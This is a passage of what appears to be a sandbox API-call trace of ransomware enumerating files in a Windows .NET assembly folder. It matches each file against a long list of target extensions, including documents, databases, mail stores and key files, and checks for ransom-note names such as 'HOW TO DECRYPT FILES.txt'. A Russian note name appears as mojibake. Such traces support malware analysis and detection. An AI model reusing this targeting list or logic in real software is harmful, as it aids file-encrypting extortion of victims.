(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.vdi") returned 0 [0122.853] lstrlenA (lpString="*.vdi") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.lay6") returned 0 [0122.853] lstrlenA (lpString="*.lay6") returned 6 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mpeg") returned 0 [0122.854] lstrlenA (lpString="*.mpeg") returned 6 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.djvu") returned 0 [0122.854] lstrlenA (lpString="*.djvu") returned 6 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.tiff") returned 0 [0122.854] lstrlenA (lpString="*.tiff") returned 6 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.backup") returned 0 [0122.854] lstrlenA (lpString="*.backup") returned 8 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.pdf") returned 0 [0122.854] lstrlenA (lpString="*.pdf") returned 5 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.cert") returned 0 [0122.854] lstrlenA (lpString="*.cert") returned 6 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.docm") returned 0 [0122.854] lstrlenA (lpString="*.docm") returned 6 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.xlsm") returned 0 [0122.854] lstrlenA (lpString="*.xlsm") returned 6 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.dwg") returned 0 [0122.854] lstrlenA (lpString="*.dwg") returned 5 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.nd") returned 0 [0122.854] lstrlenA (lpString="*.nd") returned 4 [0122.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.tlg") returned 0 [0122.854] lstrlenA (lpString="*.tlg") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.lgb") returned 0 [0122.855] lstrlenA (lpString="*.lgb") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mov") returned 0 [0122.855] lstrlenA (lpString="*.mov") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.xdw") returned 0 [0122.855] lstrlenA (lpString="*.xdw") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.ods") returned 0 [0122.855] lstrlenA (lpString="*.ods") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.wav") returned 0 [0122.855] lstrlenA (lpString="*.wav") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mp3") returned 0 [0122.855] lstrlenA (lpString="*.mp3") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.aiff") returned 0 [0122.855] lstrlenA (lpString="*.aiff") returned 6 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.flac") returned 0 [0122.855] lstrlenA (lpString="*.flac") returned 6 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.m4a") returned 0 [0122.855] lstrlenA (lpString="*.m4a") returned 5 [0122.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.csv") returned 0 [0122.855] lstrlenA (lpString="*.csv") returned 5 [0122.855] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DataVisualization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0122.856] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.856] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DataVisualization.ni.dll.aux") returned -1 [0122.856] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DataVisualization.ni.dll.aux") returned -1 [0122.856] lstrcmpiA (lpString1="", lpString2="System.Web.DataVisualization.ni.dll.aux") returned -1 [0122.856] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll") returned="System.Web.DataVisualization.ni.dll" [0122.856] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\" [0122.856] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\") returned="" [0122.856] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\HOW TO DECRYPT FILES.txt" [0122.856] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\how to decrypt files.txt")) returned 0x20 [0122.856] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\", lpString2="System.Web.DataVisualization.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux" [0122.856] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.ems") returned 0 [0122.856] lstrlenA (lpString="*.ems") returned 5 [0122.856] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.db") returned 0 [0122.856] lstrlenA (lpString="*.db") returned 4 [0122.856] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.dbf") returned 0 [0122.856] lstrlenA (lpString="*.dbf") returned 5 [0122.856] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.myox") returned 0 [0122.856] lstrlenA (lpString="*.myox") returned 6 [0122.856] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.myo") returned 0 [0122.856] lstrlenA (lpString="*.myo") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qbw") returned 0 [0122.857] lstrlenA (lpString="*.qbw") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qbb") returned 0 [0122.857] lstrlenA (lpString="*.qbb") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qbm") returned 0 [0122.857] lstrlenA (lpString="*.qbm") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qbo") returned 0 [0122.857] lstrlenA (lpString="*.qbo") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qbx") returned 0 [0122.857] lstrlenA (lpString="*.qbx") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qba") returned 0 [0122.857] lstrlenA (lpString="*.qba") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qby") returned 0 [0122.857] lstrlenA (lpString="*.qby") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qbj") returned 0 [0122.857] lstrlenA (lpString="*.qbj") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.ofx") returned 0 [0122.857] lstrlenA (lpString="*.ofx") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.qif") returned 0 [0122.857] lstrlenA (lpString="*.qif") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mye") returned 0 [0122.857] lstrlenA (lpString="*.mye") returned 5 [0122.857] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mbox") returned 0 [0122.858] lstrlenA (lpString="*.mbox") returned 6 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.eml") returned 0 [0122.858] lstrlenA (lpString="*.eml") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.pst") returned 0 [0122.858] lstrlenA (lpString="*.pst") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.ost") returned 0 [0122.858] lstrlenA (lpString="*.ost") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.idx") returned 0 [0122.858] lstrlenA (lpString="*.idx") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.dbx") returned 0 [0122.858] lstrlenA (lpString="*.dbx") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.sql") returned 0 [0122.858] lstrlenA (lpString="*.sql") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mdb") returned 0 [0122.858] lstrlenA (lpString="*.mdb") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.fdb") returned 0 [0122.858] lstrlenA (lpString="*.fdb") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.wab") returned 0 [0122.858] lstrlenA (lpString="*.wab") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.dat") returned 0 [0122.858] lstrlenA (lpString="*.dat") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.txt") returned 0 [0122.858] lstrlenA (lpString="*.txt") returned 5 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0122.858] lstrlenA (lpString="*.jpeg") returned 6 [0122.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.jpg") returned 0 [0122.859] lstrlenA (lpString="*.jpg") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.png") returned 0 [0122.859] lstrlenA (lpString="*.png") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.php") returned 0 [0122.859] lstrlenA (lpString="*.php") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.cs") returned 0 [0122.859] lstrlenA (lpString="*.cs") returned 4 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.cpp") returned 0 [0122.859] lstrlenA (lpString="*.cpp") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.rar") returned 0 [0122.859] lstrlenA (lpString="*.rar") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.zip") returned 0 [0122.859] lstrlenA (lpString="*.zip") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.html") returned 0 [0122.859] lstrlenA (lpString="*.html") returned 6 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.htm") returned 0 [0122.859] lstrlenA (lpString="*.htm") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0122.859] lstrlenA (lpString="*.xlsx") returned 6 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.xls") returned 0 [0122.859] lstrlenA (lpString="*.xls") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mp4") returned 0 [0122.859] lstrlenA (lpString="*.mp4") returned 5 [0122.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.ppt") returned 0 [0122.860] lstrlenA (lpString="*.ppt") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.pptx") returned 0 [0122.860] lstrlenA (lpString="*.pptx") returned 6 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.doc") returned 0 [0122.860] lstrlenA (lpString="*.doc") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.dot") returned 0 [0122.860] lstrlenA (lpString="*.dot") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.docx") returned 0 [0122.860] lstrlenA (lpString="*.docx") returned 6 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.7z") returned 0 [0122.860] lstrlenA (lpString="*.7z") returned 4 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.tar") returned 0 [0122.860] lstrlenA (lpString="*.tar") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.bz2") returned 0 [0122.860] lstrlenA (lpString="*.bz2") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.gz") returned 0 [0122.860] lstrlenA (lpString="*.gz") returned 4 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mkv") returned 0 [0122.860] lstrlenA (lpString="*.mkv") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.eml") returned 0 [0122.860] lstrlenA (lpString="*.eml") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.msg") returned 0 [0122.860] lstrlenA (lpString="*.msg") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.edb") returned 0 [0122.860] lstrlenA (lpString="*.edb") returned 5 [0122.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.accdb") returned 0 [0122.861] lstrlenA (lpString="*.accdb") returned 7 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.odb") returned 0 [0122.861] lstrlenA (lpString="*.odb") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.java") returned 0 [0122.861] lstrlenA (lpString="*.java") returned 6 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.asm") returned 0 [0122.861] lstrlenA (lpString="*.asm") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.pfx") returned 0 [0122.861] lstrlenA (lpString="*.pfx") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.pem") returned 0 [0122.861] lstrlenA (lpString="*.pem") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.p12") returned 0 [0122.861] lstrlenA (lpString="*.p12") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.gpg") returned 0 [0122.861] lstrlenA (lpString="*.gpg") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.vsd") returned 0 [0122.861] lstrlenA (lpString="*.vsd") returned 5 [0122.861] PathMatchSpecA 